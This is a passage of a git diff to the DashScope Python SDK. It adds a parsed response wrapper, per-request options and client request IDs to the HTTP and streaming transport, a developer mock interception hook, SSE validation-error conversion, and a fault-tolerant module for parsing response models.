_unwrap(body: Dict[str, Any]) -> Dict[str, Any]: + """Lift the DashScope envelope so a model can be built from it directly. + + Public models describe the payload, not the wrapper: the native gateway + nests it under ``output``, the OpenAI-shaped one under ``data``. Skipping + this step does not fail loudly -- every response model gives its fields + defaults, so ``parse(ModelList)`` would validate cleanly against the + wrapper and hand back an empty page. + + ``flatten_envelope`` keeps the envelope fields (``request_id`` / ``code`` + / ``message``) at top level, where ``ResponseBase`` reads them. A body + that is already flat (``jobs.list``) has nothing to lift. + """ + for key in ("output", "data"): + if isinstance(body.get(key), dict): + return flatten_envelope(body, key=key) + return dict(body) + + +class APIResponse: + """A parsed-on-demand view over one HTTP response.""" + + def __init__( + self, + response: httpx.Response, + *, + client: Any = None, + ) -> None: + self._response = response + self._client = client + self._parsed_by_type: Dict[Any, Any] = {} + self._body: Any = _MISSING + + @property + def http_response(self) -> httpx.Response: + """The underlying raw ``httpx.Response``.""" + return self._response + + @property + def headers(self) -> Dict[str, str]: + """A plain ``dict`` copy of the headers (same shape as ``with_headers``).""" + return dict(self._response.headers) + + @property + def status_code(self) -> int: + return self._response.status_code + + @property + def elapsed(self) -> Any: + """The request elapsed time (a ``timedelta``), or ``None`` if unset. + + httpx only records ``elapsed`` once the response has been read or + closed; the SDK's non-streaming ``request()`` always reads it, so in + practice this is set. ``None`` is returned instead of raising for a + response wrapped before its body was consumed (e.g. a mock). + """ + try: + return self._response.elapsed + except RuntimeError: + return None + + @property + def request_id(self) -> Optional[str]: + """Server request id: the ``x-request-id`` header, else the body's. + + The header wins because it is present even when the body is not + decodable; the body (top-level or nested under ``output``) is the + fallback for gateways that only report it there. + """ + header_id = self._response.headers.get("x-request-id") + if header_id: + return header_id + body = self._safe_body() + if isinstance(body, dict): + output = body.get("output") + output = output if isinstance(output, dict) else {} + return body.get("request_id") or output.get("request_id") + return None + + @property + def _strict(self) -> bool: + return bool( + self._client is not None and self._client.config.strict_validation, + ) + + @property + def _raise_on_error(self) -> bool: + return True if self._client is None else self._client.raise_on_error + + def json(self, *, require_object: bool = True) -> Any: + """The decoded JSON body, through the v2 error contract. + + Delegates to :func:`dashscope.errors.response_json`, so an + undecodable or non-object body raises the catalog + ``internal_error`` rather than leaking ``JSONDecodeError``. The + object-body result is memoized; ``require_object=False`` bypasses + the cache because it accepts shapes the cache does not. + """ + if not require_object: + return response_json(self._response, require_object=False) + if self._body is _MISSING: + self._body = response_json(self._response) + return self._body + + def _safe_body(self) -> Any: + """Best-effort body for ``request_id``; never raises.""" + if self._body is not _MISSING: + return self._body + try: + return self._response.json() + except Exception: # pylint: disable=broad-except + return None + + def raise_for_status(self) -> None: + """Apply the dual-layer error check (HTTP status, then business code). + + Honors the client's ``raise_on_error``: in non-raising mode a + failure is left for the caller to read off the parsed model's + envelope, exactly as ``check_response`` does. + """ + check_response(self._response, raise_on_error=self._raise_on_error) + + def parse(self, cast_to: Optional[Type[T]] = None) -> Any: + """Parse the body, optionally into ``cast_to``, memoized per type. + + ``cast_to=None`` returns the decoded JSON body. Otherwise the body is + unwrapped from its ``output`` / ``data`` envelope, built into + ``cast_to`` via :func:`~dashscope.types._parse.parse_model` (degrading + rather than raising unless the client is strict), and has the response + headers attached. The result is cached by type, so repeat calls return + the *same* object while different types cache independently. + + ``cast_to`` must subclass + :class:`~dashscope.types.common.ResponseBase` -- the headers land in + its ``headers`` field, and unwrapping targets the envelope fields it + declares. Anything else raises ``TypeError`` rather than failing later + inside ``with_headers``. + + This is the generic direct-mapping path. Resources whose body needs + reshaping beyond the envelope -- one item picked out of a list, a + legacy singular field folded into a plural one, a page delivered as + a bare array -- keep their own parser and read :meth:`json` instead. + ``parse`` does not replay that reshaping, so on such an endpoint + ``resource.method(raw=True).parse(Model)`` can return less than + ``resource.method()`` did for the very same body. Read the + resource's own docstring before relying on the raw path's parse. + """ + if cast_to is None: + return self.json() + is_model = isinstance(cast_to, type) and issubclass( + cast_to, + ResponseBase, + ) + if not is_model: + raise TypeError( + f"cast_to={cast_to!r} must be a ResponseBase subclass: the " + "response headers are attached through its `headers` field", + ) + cached = self._parsed_by_type.get(cast_to) + if cached is not None: + return cached + model = parse_model( + cast_to, + _unwrap(self.json()), + strict=self._strict, + response=self._response, + ) + model = with_headers(model, self._response) + self._parsed_by_type[cast_to] = model + return model diff --git a/dashscope/transport/http.py b/dashscope/transport/http.py index 4fea2e37..7dfba2be 100644 --- a/dashscope/transport/http.py +++ b/dashscope/transport/http.py @@ -5,6 +5,9 @@ from __future__ import annotations import asyncio +import functools +import os +import sys import time from typing import Any, Mapping, Optional, Union @@ -18,7 +21,15 @@ DashScopeError, check_response, ) -from dashscope.transport._ident import sdk_headers +from dashscope.transport import _ident +from dashscope.transport._options import ( + RequestOptions, + deep_merge, + merge_query, + resolve_max_retries, + resolve_timeout, +) +from dashscope.transport._response import APIResponse from dashscope.transport._retry import backoff_delay, should_retry logger = get_logger("transport") @@ -36,6 +47,13 @@ def _map_transport_error( The message text comes from the catalog entry behind each class (``sdk.Timeout`` / ``sdk.ConnectionError``), with the httpx error as the ``{detail}``. + + ``request_id`` is the best id the caller has for the failed request: + the server's ``x-request-id`` when a response arrived before the + failure, otherwise the client-generated id that went out with the + request. A transport failure that never got a response can therefore + only ever carry the client id -- which is still something to search + access logs for, unlike the ``None`` it would otherwise be. """ if isinstance(exc, httpx.TimeoutException): return APITimeoutError(detail=str(exc), request_id=request_id) @@ -76,24 +94,26 @@ def _timeout_kwarg( return {} if timeout is None else {"timeout": timeout} -def _with_sdk_headers( - sdk: Mapping[str, str], - headers: Optional[Mapping[str, str]], +def _merge_headers( + base: Mapping[str, str], + overrides: Optional[Mapping[str, str]], ) -> dict: - # SDK identification rides on every request, even through a - # caller-provided http_client; caller headers win over the defaults. - # The override is matched case-insensitively so a caller passing - # ``X-DashScope-SDK-Session-Id`` replaces the lowercase default rather - # than emitting a duplicate header. - if headers is None: - return dict(sdk) - caller_keys = {key.lower() for key in headers} + """``overrides`` on top of ``base``, matched case-insensitively. + + Used for every header layer (SDK identity, Client defaults, caller + headers, ``extra_headers``), so an override spelled + ``X-DashScope-Client-Request-Id`` replaces the lowercase default + instead of emitting a duplicate header. + """ + if overrides is None: + return dict(base) + override_keys = {key.lower() for key in overrides} merged = { key: value - for key, value in sdk.items() - if key.lower() not in caller_keys + for key, value in base.items() + if key.lower() not in override_keys } - merged.update(headers) + merged.update(overrides) return merged @@ -110,7 +130,7 @@ def _merge_auth_headers( """ if api_key is None and workspace is None: return headers - return _with_sdk_headers( + return _merge_headers( headers or {}, _build_headers(api_key, workspace, None), ) @@ -122,16 +142,64 @@ def _request_headers( headers: Optional[Mapping[str, str]], api_key: Optional[str], workspace: Optional[str], + options: Optional[RequestOptions] = None, ) -> dict: """Merge Client defaults, SDK identity and per-call overrides. This is deliberately request-scoped so an injected ``http_client`` still - receives the Client's credentials and user agent. Caller headers and - per-call credentials win case-insensitively. + receives the Client's credentials and user agent. + + Precedence, lowest to highest: SDK identity headers, Client defaults, + caller ``headers``, the per-call ``api_key`` / ``workspace``, then + ``options.extra_headers``. The auth-over-headers step is what makes + ``api_key=`` mean "use this key" even when a client-level + ``Authorization`` is still in ``headers``; ``extra_headers`` sits above + everything because it is the narrowest, most explicit statement of + intent a caller can make about one request. All of it is matched + case-insensitively. """ per_call = _merge_auth_headers(headers, api_key, workspace) - configured = _with_sdk_headers(defaults, per_call) - return _with_sdk_headers(sdk, configured) + configured = _merge_headers(defaults, per_call) + merged = _merge_headers(sdk, configured) + if options is not None and options.extra_headers: + merged = _merge_headers(merged, options.extra_headers) + return merged + + +def _with_extra_body( + body: Any, + options: Optional[RequestOptions], + method: str, + path: str, + *, + has_other_body: bool = False, +) -> Any: + """Deep-merge ``options.extra_body`` into a JSON object body. + + A request whose body is something other than a JSON object -- raw + ``content`` bytes, a multipart ``files`` upload -- has nothing to + merge into, so it is left alone and the drop is reported: silently + discarding what a caller asked to send is worse than the warning. + ``has_other_body`` covers the case where ``json`` is absent only + because another body channel is carrying the payload; httpx would + drop the JSON silently, so the warning has to come from here. + + A missing body with no other channel is different: ``extra_body`` + alone becomes the JSON object, which is what a caller adding fields + to a body-less request means. + """ + if options is None or not options.extra_body: + return body + foreign_body = body is not None and not isinstance(body, dict) + if has_other_body or foreign_body: + logger.warning( + "ignoring extra_body for %s %s: body is %s, not a JSON object", + method, + path, + "another body channel" if has_other_body else type(body).__name__, + ) + return body + return deep_merge(body or {}, options.extra_body) def _abs_url(base_url: Optional[str], path: str) -> str: @@ -160,6 +228,24 @@ def default_user_agent(suffix: Optional[str] = None) -> str: return f"{agent} {suffix}" if suffix else agent +_DEV_MODE_ENV = "DASHSCOPE_DEV_MOCK" + + +def _dev_mock_requested() -> bool: + """Whether the dev mock is on, checked before every send. + + Near-zero overhead when disabled: one env lookup plus a + ``sys.modules`` probe that never imports :mod:`dashscope.devkit` on + the production path. Callers check this *before* building the + ``real`` partial, so an ordinary request pays no allocation for the + mock seam. The devkit module is only imported once this is True. + """ + if os.environ.get(_DEV_MODE_ENV): + return True + devkit = sys.modules.get("dashscope.devkit") + return devkit is not None and devkit.is_active() + + class SyncTransport: def __init__( self, @@ -221,9 +307,89 @@ def request( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + ) -> httpx.Response: + if not _dev_mock_requested(): + return self._request_impl( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._request_impl, + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return devkit.intercept( + method=method, + path=path, + json_body=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=False, + real=real, + ) + + def _request_impl( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) - for attempt in range(self._max_retries + 1): + client_request_id = _ident.client_request_id() + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body( + json, + options, + method, + path, + has_other_body=any(x is not None for x in (content, data, files)), + ) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): response = None try: response = self._client.send( @@ -237,10 +403,11 @@ def request( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, + options, ), **_timeout_kwarg( ( @@ -267,16 +434,21 @@ def request( if response is not None else "" ) - if attempt >= self._max_retries: + if attempt >= max_retries: logger.warning( - "request %s %s failed after %d attempt(s): %s%s", + "request %s %s failed after %d attempt(s)" + " (client_request_id=%s): %s%s", method, path, attempt + 1, + client_request_id, exc, context, ) - raise _map_transport_error(exc, request_id) from exc + raise _map_transport_error( + exc, + request_id or client_request_id, + ) from exc delay = backoff_delay(attempt, None) logger.info( "retrying %s %s in %.2fs (attempt %d/%d): %s: %s%s", @@ -284,7 +456,7 @@ def request( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, context, @@ -293,15 +465,16 @@ def request( continue request_id = request_id_from_headers(response.headers) or "unknown" logger.debug( - "request %s %s -> %d (request_id=%s)", + "request %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, request_id, ) if not should_retry(response.status_code, response.headers): return response - if attempt >= self._max_retries: + if attempt >= max_retries: return response delay = backoff_delay(attempt, response.headers) logger.info( @@ -311,13 +484,57 @@ def request( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) _sleep(delay) return response + def request_api( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + client: Any = None, + ) -> APIResponse: + """``request()`` wrapped in an :class:`APIResponse`. + + A thin convenience layer: it reuses :meth:`request` (and therefore + the same retry/backoff behavior) and only adds the response + wrapper. ``client`` seeds the wrapper's ``strict`` / + ``raise_on_error`` behavior and is optional. + """ + response = self.request( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + return APIResponse(response, client=client) + def open_stream( self, method: str, @@ -331,6 +548,7 @@ def open_stream( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: """Open a stream, retrying only before a successful stream exists. @@ -339,8 +557,69 @@ def open_stream( response is returned, ownership transfers to the caller and the SDK never retries or replays stream contents. """ + if not _dev_mock_requested(): + return self._open_stream_impl( + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._open_stream_impl, + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return devkit.intercept( + method=method, + path=path, + json_body=json, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=True, + real=real, + ) + + def _open_stream_impl( + self, + method: str, + path: str, + *, + json: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) - for attempt in range(self._max_retries + 1): + client_request_id = _ident.client_request_id() + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body(json, options, method, path) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): try: response = self._client.send( self._client.build_request( @@ -350,10 +629,11 @@ def open_stream( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, + options, ), **_timeout_kwarg( ( @@ -366,8 +646,11 @@ def open_stream( stream=True, ) except httpx.TransportError as exc: - if attempt >= self._max_retries: - raise _map_transport_error(exc) from exc + if attempt >= max_retries: + raise _map_transport_error( + exc, + client_request_id, + ) from exc delay = backoff_delay(attempt, None) logger.info( "retrying stream %s %s in %.2fs (attempt %d/%d): %s: %s", @@ -375,7 +658,7 @@ def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, ) @@ -383,7 +666,7 @@ def open_stream( continue if should_retry(response.status_code, response.headers) and ( - attempt < self._max_retries + attempt < max_retries ): delay = backoff_delay(attempt, response.headers) request_id = ( @@ -404,7 +687,7 @@ def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) @@ -421,14 +704,18 @@ def open_stream( "Failed to read HTTP response, request_id=%s", request_id or "unknown", ) - raise _map_transport_error(exc, request_id) from exc + raise _map_transport_error( + exc, + request_id or client_request_id, + ) from exc finally: response.close() logger.debug( - "stream %s %s -> %d (request_id=%s)", + "stream %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, request_id_from_headers(response.headers) or "unknown", ) return response @@ -496,9 +783,89 @@ async def request( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + ) -> httpx.Response: + if not _dev_mock_requested(): + return await self._arequest_impl( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._arequest_impl, + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return await devkit.aintercept( + method=method, + path=path, + json_body=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=False, + real=real, + ) + + async def _arequest_impl( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) - for attempt in range(self._max_retries + 1): + client_request_id = _ident.client_request_id() + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body( + json, + options, + method, + path, + has_other_body=any(x is not None for x in (content, data, files)), + ) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): response = None try: response = await self._client.send( @@ -512,10 +879,11 @@ async def request( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, + options, ), **_timeout_kwarg( ( @@ -542,16 +910,21 @@ async def request( if response is not None else "" ) - if attempt >= self._max_retries: + if attempt >= max_retries: logger.warning( - "request %s %s failed after %d attempt(s): %s%s", + "request %s %s failed after %d attempt(s)" + " (client_request_id=%s): %s%s", method, path, attempt + 1, + client_request_id, exc, context, ) - raise _map_transport_error(exc, request_id) from exc + raise _map_transport_error( + exc, + request_id or client_request_id, + ) from exc delay = backoff_delay(attempt, None) logger.info( "retrying %s %s in %.2fs (attempt %d/%d): %s: %s%s", @@ -559,7 +932,7 @@ async def request( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, context, @@ -568,15 +941,16 @@ async def request( continue request_id = request_id_from_headers(response.headers) or "unknown" logger.debug( - "request %s %s -> %d (request_id=%s)", + "request %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, request_id, ) if not should_retry(response.status_code, response.headers): return response - if attempt >= self._max_retries: + if attempt >= max_retries: return response delay = backoff_delay(attempt, response.headers) logger.info( @@ -586,13 +960,51 @@ async def request( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) await _asleep(delay) return response + async def request_api( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + client: Any = None, + ) -> APIResponse: + """Async :meth:`SyncTransport.request_api`.""" + response = await self.request( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + return APIResponse(response, client=client) + async def open_stream( self, method: str, @@ -606,10 +1018,72 @@ async def open_stream( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: """Async twin of :meth:`SyncTransport.open_stream`.""" + if not _dev_mock_requested(): + return await self._aopen_stream_impl( + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._aopen_stream_impl, + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return await devkit.aintercept( + method=method, + path=path, + json_body=json, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=True, + real=real, + ) + + async def _aopen_stream_impl( + self, + method: str, + path: str, + *, + json: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) - for attempt in range(self._max_retries + 1): + client_request_id = _ident.client_request_id() + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body(json, options, method, path) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): request = self._client.build_request( method, url, @@ -617,10 +1091,11 @@ async def open_stream( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, + options, ), **_timeout_kwarg( self._request_timeout if timeout is None else timeout, @@ -629,8 +1104,11 @@ async def open_stream( try: response = await self._client.send(request, stream=True) except httpx.TransportError as exc: - if attempt >= self._max_retries: - raise _map_transport_error(exc) from exc + if attempt >= max_retries: + raise _map_transport_error( + exc, + client_request_id, + ) from exc delay = backoff_delay(attempt, None) logger.info( "retrying stream %s %s in %.2fs (attempt %d/%d): %s: %s", @@ -638,7 +1116,7 @@ async def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, ) @@ -646,7 +1124,7 @@ async def open_stream( continue if should_retry(response.status_code, response.headers) and ( - attempt < self._max_retries + attempt < max_retries ): delay = backoff_delay(attempt, response.headers) request_id = ( @@ -665,7 +1143,7 @@ async def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) @@ -682,14 +1160,18 @@ async def open_stream( "Failed to read HTTP response, request_id=%s", request_id or "unknown", ) - raise _map_transport_error(exc, request_id) from exc + raise _map_transport_error( + exc, + request_id or client_request_id, + ) from exc finally: await response.aclose() logger.debug( - "stream %s %s -> %d (request_id=%s)", + "stream %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, request_id_from_headers(response.headers) or "unknown", ) return response diff --git a/dashscope/transport/sse.py b/dashscope/transport/sse.py index ea0ec12c..ab6b9393 100644 --- a/dashscope/transport/sse.py +++ b/dashscope/transport/sse.py @@ -31,13 +31,18 @@ import httpx from httpx_sse import EventSource, SSEError +from pydantic import ValidationError from dashscope._logging import ( get_logger, request_id_for_log, request_id_from_headers, ) -from dashscope.errors import DashScopeError, error_from_business_code +from dashscope.errors import ( + APIResponseValidationError, + DashScopeError, + error_from_business_code, +) logger = get_logger("transport.sse") @@ -124,21 +129,46 @@ def _next_event( return body +def _parse_event( + parse: Callable[[Dict[str, Any]], Any], + body: Dict[str, Any], + response: httpx.Response, +) -> Any: + """Run one event's parser, converting a bare ValidationError. + + Chat parsers go through ``parse_model``, which degrades a drifted + body instead of raising, so this only fires for a parser that + validates on its own. It is still worth catching: a raw pydantic + error is not a ``DashScopeError``, so a caller's handler would miss + it -- mid-iteration, after earlier chunks were already consumed. + The stream cannot degrade here because it does not know the model + class, so converting is the floor rather than a fallback. + """ + try: + return parse(body) + except ValidationError as exc: + raise APIResponseValidationError( + response=response, + body=body, + cause=exc, + ) from exc + + def _parse_chunk( parse: Callable[[Dict[str, Any]], Optional[T]], body: Dict[str, Any], - headers: Mapping[str, str], + response: httpx.Response, request_id: Optional[str] = None, ) -> Optional[T]: try: - return parse(body) + return _parse_event(parse, body, response) except Exception: logger.error( "Failed to parse SSE result, request_id=%s", request_id_for_log( body.get("request_id"), request_id, - request_id_from_headers(headers), + request_id_from_headers(response.headers), ), ) raise @@ -175,7 +205,7 @@ def __iter__(self) -> Iterator[T]: chunk = _parse_chunk( self._parse, body, - self._response.headers, + self._response, self._request_id, ) if chunk is not None: @@ -233,7 +263,7 @@ async def _iterate(self): chunk = _parse_chunk( self._parse, body, - self._response.headers, + self._response, self._request_id, ) if chunk is not None: diff --git a/dashscope/types/__init__.py b/dashscope/types/__init__.py index e6b5a0d7..c6f0b31d 100644 --- a/dashscope/types/__init__.py +++ b/dashscope/types/__init__.py @@ -24,9 +24,11 @@ extract_text, normalize_messages, ) +from dashscope.types.pagination import BasePage __all__ = [ "AudioPart", + "BasePage", "ChatCompletion", "ChatCompletionChunk", "ChatCompletionMessage", diff --git a/dashscope/types/_parse.py b/dashscope/types/_parse.py new file mode 100644 index 00000000..a960404f --- /dev/null +++ b/dashscope/types/_parse.py @@ -0,0 +1,513 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Fault-tolerant construction of server response models. + +A gateway that adds a field, renames one, or starts sending a string +where an ``int`` used to be is not an outage -- but a bare +``Model(**body)`` turns it into a :class:`pydantic.ValidationError` +escaping the SDK, which no ``except DashScopeError`` can catch. Every +server-facing model here is already ``extra="allow"``, so unknown keys +survive; what breaks it is a *typed* field whose value drifted, or a +required field the server stopped sending. + +:func:`parse_model` degrades instead of raising: the offending fields +alone are repaired, the rest of the body keeps its full validation, and +the drift is recorded at ``debug`` level. ``strict=True`` opts out and +raises :class:`~dashscope.errors.APIResponseValidationError`, which is +what contract testing and CI want -- silence is the wrong default there. + +Repairing only the failing fields and then re-validating the whole body +is deliberate, and is why this is not a ``model_construct`` wrapper. +``model_construct`` skips ``mode="after"`` validators, so a degraded +error response would report ``is_error=False`` and masquerade as a +success; it also leaves nested models as plain dicts, so +``completion.usage.input_tokens`` would raise ``AttributeError`` on an +object whose healthy twin has a ``Usage`` there. A second +``model_validate`` pass has neither problem, because pydantic lets +already-constructed instances through untouched. ``model_construct`` is +kept only as the last resort for a body whose individually repaired +fields still fail together, and that path re-runs the after-validators +by hand. + +Values that cannot be repaired fall back to the field's default, or to +a zero value shaped like its annotation. List elements are replaced in +place rather than dropped: downstream code indexes by position (tool +call merging, embedding dimensions), so a shorter list would silently +misalign it. +""" + +from __future__ import annotations + +import threading +from typing import ( + Any, + Dict, + List, + Mapping, + Optional, + Set, + Tuple, + Type, + TypeVar, + Union, + get_args, + get_origin, +) + +import httpx +from pydantic import AliasChoices, BaseModel, TypeAdapter, ValidationError +from pydantic.fields import FieldInfo + +from dashscope._logging import get_logger +from dashscope.errors import APIResponseValidationError + +__all__ = ["parse_model"] + +logger = get_logger("parse") + +_ModelT = TypeVar("_ModelT", bound=BaseModel) + +# Both caches are bounded by the model catalog, not by traffic, and are +# only ever touched on the degraded path -- a well-formed response never +# pays for an adapter. +_LOCK = threading.Lock() +_ALIAS_MAPS: Dict[type, Dict[str, str]] = {} +_ADAPTERS: Dict[Tuple[type, str], TypeAdapter] = {} + +_SEQUENCE_ORIGINS = (list, tuple, set, frozenset) + +# Ordered: ``bool`` must be tested before ``int``, whose subclass it is. +_ZERO_BY_TYPE: Tuple[Tuple[type, Any], ...] = ( + (bool, False), + (int, 0), + (float, 0.0), + (str, ""), +) + + +def parse_model( + cls: Type[_ModelT], + data: Mapping[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> _ModelT: + """Build ``cls`` from a server body, degrading rather than raising. + + ``strict`` raises :class:`~dashscope.errors.APIResponseValidationError` + carrying ``response`` and the raw ``body`` instead of degrading. It + fires even when a resource is in non-raising (``raise_on_error=False``) + mode: a schema assertion the caller opted into is not a service + error to be reported through the response envelope. + """ + if not isinstance(data, Mapping): + # There are no fields to repair, and salvage would die on + # ``dict(data)`` with a bare TypeError or ValueError -- exactly + # the escape this module exists to prevent. + if strict: + raise APIResponseValidationError(response=response, body=data) + logger.debug( + "response drift: %s got %s where a mapping was expected; " + "degraded parse applied", + cls.__name__, + type(data).__name__, + ) + return _zero_model(cls) + try: + return cls.model_validate(data) + except ValidationError as exc: + error_count = len(exc.errors()) + if strict: + logger.debug( + "response drift: %s failed strict validation (%d error(s))", + cls.__name__, + error_count, + ) + raise APIResponseValidationError( + response=response, + body=dict(data), + cause=exc, + ) from exc + salvaged = _salvage(cls, data, exc) + logger.debug( + "response drift: %s failed validation (%d error(s)); " + "degraded parse applied", + cls.__name__, + error_count, + ) + try: + return cls.model_validate(salvaged) + except ValidationError: + # Individually valid fields that still fail together mean a + # cross-field invariant; only constructing can keep the body. + return _construct_degraded(cls, salvaged) + + +def _alias_map(cls: type) -> Dict[str, str]: + """Map every input key a field answers to back to its field name. + + ``ValidationError`` reports the key it actually read, which for an + aliased field is the alias (``open_source``, not the field name), so + resolving a drift location needs the reverse of pydantic's aliasing. + """ + with _LOCK: + cached = _ALIAS_MAPS.get(cls) + if cached is not None: + return cached + out: Dict[str, str] = {} + for name, info in cls.model_fields.items(): + out[name] = name + for key in _alias_keys(info): + out.setdefault(key, name) + _ALIAS_MAPS[cls] = out + return out + + +def _alias_keys(info: FieldInfo) -> List[str]: + alias = info.validation_alias + if isinstance(alias, str): + return [alias] + if isinstance(alias, AliasChoices): + # AliasPath entries address a nested location, not a top-level + # key, so there is no root to map and they are skipped. + return [c for c in alias.choices if isinstance(c, str)] + return [] + + +def _adapter(cls: type, name: 